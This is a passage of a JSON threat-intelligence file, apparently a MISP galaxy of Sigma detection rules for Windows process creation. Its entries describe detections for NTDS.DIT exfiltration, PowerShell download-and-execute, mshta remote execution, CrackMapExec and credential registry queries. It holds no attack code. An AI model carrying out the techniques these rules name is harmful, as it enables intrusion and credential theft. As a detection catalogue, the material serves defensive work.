[ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", "value": "Use of Forfiles For Execution" }, { "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/25", "falsepositive": [ "Other legitimate \"Windows Terminal\" profiles" ], "filename": "proc_creation_win_windows_terminal_susp_children.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1550836225652686848", "https://persistence-info.github.io/Data/windowsterminalprofile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" ], "tags": [ "attack.execution", "attack.persistence" ] }, "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", "value": "Suspicious WindowsTerminal Child Processes" }, { "description": "Detect usage of the \"unregmp2.exe\" binary as a proxy to launch a custom version of \"wmpnscfg.exe\"", "meta": { "author": "frack113", "creation_date": "2022/12/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_unregmp2.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "727454c0-d851-48b0-8b89-385611ab0704", "value": "Lolbin Unregmp2.exe Use As Proxy" }, { "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", "meta": { "author": "Florian Roth", "creation_date": "2022/03/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_ntds.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/zcgonvh/NTDSDumpEx", "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", "value": "Suspicious Process Patterns NTDS.DIT Exfil" }, { "description": "Detects a command used by conti to dump database", "meta": { "author": "frack113", "creation_date": "2021/08/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_conti_sqlcmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" ], "tags": [ "attack.collection", "attack.t1005" ] }, "related": [ { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", "value": "Conti Backup Database" }, { "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", "meta": { "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", "creation_date": "2020/10/23", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", "https://twitter.com/CyberRaiju/status/1251492025678983169", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", "https://www.cobaltstrike.com/help-opsec", "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments" }, { "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2019/10/02", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_bluemashroom.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", "value": "BlueMashroom DLL Load" }, { "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_crackmapexec_flags.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" ], "tags": "No established tags" }, "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", "value": "CrackMapExec Command Line Flags" }, { "description": "Detects use of redirection character \">\" to redicrect information in commandline", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Internet Download Manager extensions use named pipes and redirection via CLI. Filter it out if you use it in your environment" ], "filename": "proc_creation_win_cmd_redirect.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ss64.com/nt/syntax-redirection.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", "value": "Redirect Output in CommandLine" }, { "description": "Adversaries may abuse Visual Basic (VB) for execution", "meta": { "author": "frack113", "creation_date": "2022/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_cscript_vbs.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" ], "tags": [ "attack.execution", "attack.t1059.005" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", "value": "Cscript Visual Basic Script Execution" }, { "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", "meta": { "author": "Florian Roth", "creation_date": "2022/02/28", "falsepositive": [ "Software installers that pull packages from remote systems and execute them" ], "filename": "proc_creation_win_powershell_download_patterns.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", "value": "Suspicious PowerShell Download and Execute Pattern" }, { "description": "Detects the execution of SecurityXploded Tools", "meta": { "author": "Florian Roth", "creation_date": "2018/12/19", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_secutyxploded.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", "https://securityxploded.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" ], "tags": [ "attack.credential_access", "attack.t1555" ] }, "related": [ { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", "value": "SecurityXploded Tool" }, { "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/14", "falsepositive": [ "Legitimate usage of the passwords by users via commandline (should be discouraged)", "Other currently unknown false positives" ], "filename": "proc_creation_win_weak_or_abused_passwords.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", "value": "Weak or Abused Passwords In CLI" }, { "description": "Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120", "meta": { "author": "Florian Roth", "creation_date": "2022/12/04", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_sysmoneop.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/SysmonEoP", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sysmoneop.yml" ], "tags": [ "cve.2022.41120", "attack.t1068", "attack.privilege_escalation" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a7e90c5-fe6e-45dc-889e-057fe4378bd9", "value": "SysmonEOP Hack Tool" }, { "description": "Detects python spawning a pretty tty", "meta": { "author": "Nextron Systems", "creation_date": "2022/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_python_pty_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", "value": "Python Spawning Pretty TTY on Windows" }, { "description": "Detects the use of Replace.exe which can be used to replace file with another file", "meta": { "author": "frack113", "creation_date": "2022/03/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_replace.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", "https://lolbas-project.github.io/lolbas/Binaries/Replace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", "value": "Replace.exe Usage" }, { "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", "creation_date": "2020/10/08", "falsepositive": [ "Administrators or Power users may remove their shares via cmd line" ], "filename": "proc_creation_win_susp_mounted_share_deletion.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.005" ] }, "related": [ { "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", "value": "Mounted Share Deleted" }, { "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", "meta": { "author": "A. Sungurov , oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", "Legit usage of scripts" ], "filename": "proc_creation_win_lolbin_pcwrun.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/991335019833708544", "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", "value": "Indirect Command Execution By Program Compatibility Wizard" }, { "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", "value": "Invoke-Obfuscation Via Stdin" }, { "description": "Execute C# code with the Build Provider and proper folder structure in place.", "meta": { "author": "frack113", "creation_date": "2021/11/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", "value": "Suspicious aspnet_compiler.exe Execution" }, { "description": "Detects different loaders as described in various threat reports on Lazarus group activity", "meta": { "author": "Florian Roth, wagga", "creation_date": "2020/12/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_lazarus_loader.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hvs-consulting.de/lazarus-report/", "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" ], "tags": [ "attack.g0032", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", "value": "Lazarus Loaders" }, { "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", "meta": { "author": "frack113", "creation_date": "2021/12/13", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_adfind_enumeration.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://www.joeware.net/freetools/tools/adfind/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1087.002" ] }, "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", "value": "Suspicious AdFind Enumeration" }, { "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", "meta": { "author": "Florian Roth", "creation_date": "2022/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_redirect_local_admin_share.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" ], "tags": "No established tags" }, "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124", "value": "Suspicious Redirection to Local Admin Share" }, { "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", "meta": { "author": "Sittikorn S", "creation_date": "2021/06/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_script_event_consumer_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/child-processes/", "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", "value": "Script Event Consumer Spawning Process" }, { "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", "creation_date": "2021/12/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_group_recon.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", "value": "Suspicious Get Local Groups Information with WMIC" }, { "description": "An adversary might use WMI to execute commands on a remote system", "meta": { "author": "frack113", "creation_date": "2022/03/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_remote_command.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", "value": "WMI Remote Command Execution" }, { "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", "meta": { "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", "creation_date": "2022/05/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_jlaive_batch_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/ch2sh/Jlaive", "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", "value": "Jlaive Usage For Assembly Execution In-Memory" }, { "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "WSL (Windows Sub System For Linux)", "Other currently unknown software" ], "filename": "proc_creation_win_mstsc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.001" ] }, "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", "value": "Remote Desktop Protocol Use Mstsc" }, { "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", "meta": { "author": "Florian Roth", "creation_date": "2022/08/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_csexec.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://github.com/malcomvetter/CSExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", "value": "CsExec Remote Execution Tool Usage" }, { "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", "meta": { "author": "Eli Salem, Sander Wiebing, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_regini_ads.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" ], "tags": [ "attack.t1112", "attack.defense_evasion" ] }, "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", "value": "Modifies the Registry From a ADS" }, { "description": "Detects usage of the \"type\" command to download/upload data from WebDAV server", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/14", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_type.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_type.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa0b3a82-eacc-4ec3-9150-b5a9a3e3f82f", "value": "Potential Download/Upload Activity Using Type Command" }, { "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_mshta_http.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.005" ] }, "related": [ { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", "value": "Mshta Remotely Hosted HTA File Execution" }, { "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2021/12/20", "falsepositive": [ "Rare intended use of hidden services" ], "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", "value": "Abuse of Service Permissions to Hide Services in Tools" }, { "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", 